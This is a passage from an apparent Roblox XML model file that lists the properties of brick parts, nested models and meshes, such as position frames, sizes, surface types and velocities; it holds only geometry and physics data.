							<R21>-0.303091496</R21>
							<R22>-0.950245202</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.299065888</X>
							<Y>5.66223764</Y>
							<Z>-3.90534902</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.66578674</X>
							<Y>7.09667253</Y>
							<Z>9.50522423</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX2040">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2041</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2041">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.6920605</X>
								<Y>12.2272062</Y>
								<Z>10.6900597</Z>
								<R00>0.113247238</R00>
								<R01>-0.551157296</R01>
								<R02>0.826680541</R02>
								<R10>0.290188104</R10>
								<R11>-0.777406693</R11>
								<R12>-0.558058858</R12>
								<R20>0.950245202</R20>
								<R21>0.303091496</R21>
								<R22>0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>2.34591579</X>
								<Y>9.15848923</Y>
								<Z>12.3935099</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2042">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2043">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-24.8653793</X>
								<Y>11.6691475</Y>
								<Z>10.76196</Z>
								<R00>0.113247238</R00>
								<R01>0.551157296</R01>
								<R02>-0.826680541</R02>
								<R10>0.290188104</R10>
								<R11>0.777406693</R11>
								<R12>0.558058858</R12>
								<R20>0.950245202</R20>
								<R21>-0.303091496</R21>
								<R22>-0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.573618591</X>
								<Y>5.90850782</Y>
								<Z>7.54574871</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2044">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2045">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.4165363</X>
								<Y>10.8917408</Y>
								<Z>11.0650511</Z>
								<R00>0.113247238</R00>
								<R01>-0.551157296</R01>
								<R02>0.826680541</R02>
								<R10>0.290188104</R10>
								<R11>-0.777406693</R11>
								<R12>-0.558058858</R12>
								<R20>0.950245202</R20>
								<R21>0.303091496</R21>
								<R22>0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.746252298</X>
								<Y>7.97032404</Y>
								<Z>10.4340343</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2046">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2047">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2048</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2048">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.1412544</X>
								<Y>9.55713272</Y>
								<Z>11.4401226</Z>
								<R00>-0.487384409</R00>
								<R01>0.551191211</R01>
								<R02>0.67723304</R02>
								<R10>0.00507986406</R10>
								<R11>0.777363896</R11>
								<R12>-0.629030645</R12>
								<R20>-0.8731727</R20>
								<R21>-0.303139538</R21>
								<R22>-0.381675035</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.100000001</float>
							<float name="TopParamB">0.100000001</float>
							<token name="TopSurface">7</token>
							<token name="TopSurfaceInput">12</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-3.81320596</X>
								<Y>6.76370525</Y>
								<Z>8.51566792</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2049">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-25.6924458</X>
							<Y>8.77976894</Y>
							<Z>11.7432623</Z>
							<R00>-0.487384409</R00>
							<R01>0.551191211</R01>
							<R02>0.67723304</R02>
							<R10>0.00507986406</R10>
							<R11>0.777363896</R11>
							<R12>-0.629030645</R12>
							<R20>-0.8731727</R20>
							<R21>-0.303139538</R21>
							<R22>-0.381675035</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.64029789</X>
							<Y>2.96724033</Y>
							<Z>-2.84703588</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-5.1269002</X>
							<Y>8.83020592</Y>
							<Z>11.4262934</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2050">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-25.4372177</X>
							<Y>11.909544</Y>
							<Z>7.03801346</Z>
							<R00>-0.487384409</R00>
							<R01>0.551191211</R01>
							<R02>0.67723304</R02>
							<R10>0.00507986406</R10>
							<R11>0.777363896</R11>
							<R12>-0.629030645</R12>
							<R20>-0.8731727</R20>
							<R21>-0.303139538</R21>
							<R22>-0.381675035</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.64029789</X>
							<Y>2.96724033</Y>
							<Z>-2.84703588</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-10.1779232</X>
							<Y>0.385553479</Y>
							<Z>5.53520679</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>5</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2051">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-23.4986992</X>
							<Y>5.89132404</Y>
							<Z>10.5024948</Z>
							<R00>-0.487392157</R00>
							<R01>0.00185666105</R01>
							<R02>0.873181283</R02>
							<R10>0.00500578573</R10>
							<R11>0.999987245</R11>
							<R12>0.000667837507</R12>
							<R20>-0.873168945</R20>
							<R21>0.00469645718</R21>
							<R22>-0.487395227</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.026304815</X>
							<Y>2.98744512</Y>
							<Z>-0.00248663989</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.00830315147</X>
							<Y>0.437201679</Y>
							<Z>-0.0199144874</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>9</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2052">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-25.9245205</X>
							<Y>11.916276</Y>
							<Z>6.16482878</Z>
							<R00>-0.00185666105</R00>
							<R01>0.487392157</R01>
							<R02>-0.873181283</R02>
							<R10>-0.999987245</R10>
							<R11>-0.00500578573</R11>
							<R12>-0.000667837507</R12>
							<R20>-0.00469645718</R20>
							<R21>0.873168945</R21>
							<R22>0.487395227</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.026304815</X>
							<Y>2.98744512</Y>
							<Z>-0.00248663989</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-12.9518604</X>
							<Y>0.329132318</Y>
							<Z>7.06860876</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2053">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-26.4119129</X>
							<Y>11.9212818</Y>
							<Z>5.29165983</Z>
							<R00>0.00185666105</R00>
							<R01>0.487392157</R01>
							<R02>0.873181283</R02>
							<R10>0.999987245</R10>
							<R11>-0.00500578573</R11>
							<R12>0.000667837507</R12>
							<R20>0.00469645718</R20>
							<R21>0.873168945</R21>
							<R22>-0.487395227</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.026304815</X>
							<Y>2.98744512</Y>
							<Z>-0.00248663989</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-15.5603924</X>
							<Y>0.307375729</Y>
							<Z>8.52453518</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>9</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2054">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-23.5</X>
							<Y>2.4000001</Y>
							<Z>13.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2055">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2056">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2057</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2057">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.5</X>
								<Y>4.9000001</Y>
								<Z>10.5</Z>
								<R00>-0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.100000001</float>
							<float name="TopParamB">0.100000001</float>
							<token name="TopSurface">7</token>
							<token name="TopSurfaceInput">12</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2058">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
